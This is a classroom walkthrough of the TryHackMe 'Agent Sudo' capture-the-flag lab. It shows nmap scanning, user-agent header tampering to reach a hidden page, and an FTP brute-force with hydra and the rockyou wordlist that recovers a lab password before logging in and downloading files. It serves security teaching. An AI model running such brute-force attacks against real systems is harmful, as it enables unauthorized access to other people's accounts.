Presentation: Introduction to Cyber-Security

Tryhackme box: Agent Sudo

https://tryhackme.com/room/agentsudoctf

Preparation

- optional but highly recommended: use Kali Linux as OS

> "Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics and Reverse Engineering."

-- source: https://www.kali.org/ --

- start VPN connection to tryhackme
- visit link + deploy machine
- optional: enter machines ip address into `/etc/hosts`

Task 2 Enumeration

Enumerate the machine and get all the important information

What is enumeration?

> Enumeration in cyber security is extracting a system's valid usernames, machine names, share names, directory names, and other information.
> In our case we want to know the number of open ports and what services are running on those ports.

Question 1

How many open ports?

- Tool: `nmap`

> "Nmap ("Network Mapper") is a free and open source utility for network discovery. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services those hosts are offering, what operating systems (and versions) they are running what type of packet filters/firewalls are in use, and dozens of other characteristics."

-- source: https://nmap.org/ --

- **Command:** `sudo nmap -Pn target.thm -T 4`
  - `-Pn`
  - `-T 4` run multiple threads (instances) of the program
- Output:

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 13:36 CEST
Nmap scan report for target.thm (10.10.230.91)
Host is up (0.076s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
```

We find http running on port 80. Let's look at the website!

- we also found ftp on port 21 (file transfer protocol), used to transfer files between computers → maybe useful later on but we need a password and a user
- also `ssh` on port 22 (secure shell), can be used for remote access to a machine, also need password and user

Open in browser: `machines ip address` or if you entered the address into `/etc/hosts` you can visit target.thm.

```
Dear agents,
Use your own codename as user-agent to access the site.
From
Agent R
```

We found a possible user Agent R.

Question 2

How do you redirect yourself to a secret page?

With our browser we can look at the websites source code but we find no hidden links or anything similar.

With use of our browser we can send HTTP requests to the website. Here we can specify certain headers/payloads like the `user-agent`.

> Website says to use codename as user-agent

Right-click → Inspect → Network Tab → reload page

A new window opens on the left where we can enter payloads into our HTTP Get request.

We can switch our window on the right to tab `Response` to see what we get send back after our GET request.

Let's try Agent Rs Codename **R** as `user-agent`.

Response:

```
What are you doing! Are you one of the 25 employees? If not, I going to report this
incident

Dear agents,

Use your own **codename** as user-agent to access the site.

From,
Agent R
```

Interesting there seem to be 25 employees other than Agent R let's try the different letters of the alphabet.

- user-agent A → nothing interesting
- user-agent B → nothing interesting
- user-agent C → No response available for this request.

There is an `agent_C_attention.php` in the network traffic.

```
agent_C_attention.php

Attention chris,

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your
god damn password, is weak!

From,
Agent R
```

Hey we found another agent named Agent J and Agent Cs name is Chris.
We now also know that his password is weak.
→ maybe we can brute-force it

What is brute-forcing?

> "A brute force attack is a hacking method that uses trial and error to crack passwords, login credentials, and encryption keys. It is a simple yet reliable tactic for gaining unauthorized access to individual accounts and organizations' systems and networks. The hacker tries multiple usernames and passwords, often using a computer to test a wide range of combinations, until they find the correct login information.
>
> The name "brute force" comes from attackers using excessively forceful attempts to gain access to user accounts. Despite being an old cyberattack method, brute force attacks are tried and tested and remain a popular tactic with hackers."

-- source: https://www.fortinet.com/resources/cyberglossary/brute-force-attack --

Tool: Hydra

> "Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.
>
> This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely."

- Hydra uses word lists (files with a huge amount of words to be used as passwords) to brute-force access to systems.

Command:

```
hydra -l <USERNAME> -P /usr/share/wordlists/rockyou.txt target.thm ftp -t 4
```

- `-l <USERNAME>` try login as user `<username>` in our case chris
- `-P <FILE>` here we can pass a word list, Kali comes with several in our example we use `rockyou.txt`
- `target.thm` target to attack if not in `/etc/hosts` we use the machines ip address
- `ftp` we use ftp (file transfer protocol) to try and gain access to the system
- `-t 4` again multi-threading (we use four parallel instances of the program)

Output:

```
┌──(rox㉿kali)-[~/Desktop/THM_HTW]
└─$ hydra -l chris -P /usr/share/wordlists/rockyou.txt target.thm ftp -t 4

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-08 20:43:04
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399),
~3586100 tries per task
[DATA] attacking ftp://target.thm:21/
[STATUS] 72.00 tries/min, 72 tries in 00:01h, 14344327 to do in 3320:27h, 4 active
[STATUS] 73.67 tries/min, 221 tries in 00:03h, 14344178 to do in 3245:18h, 4 active
[21][ftp] host: target.thm   login: chris   password: crystal
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-08 20:46:30
```

We found a password:

```
[21][ftp] host: target.thm   login: chris   password: crystal
```

Now we can use that password to login via `ftp`.

Command:

```
ftp chris@target.thm
Password: <Enter password here>
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Now we can have a look at the files in the system.

```
ls

#found
229 Entering Extended Passive Mode (|||6982|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
226 Directory send OK.
```

We can get files via command `get <filename>`

```
ftp> get To_agentJ.txt
ftp> get cute-alien.jpg
ftp> get cutie.png
```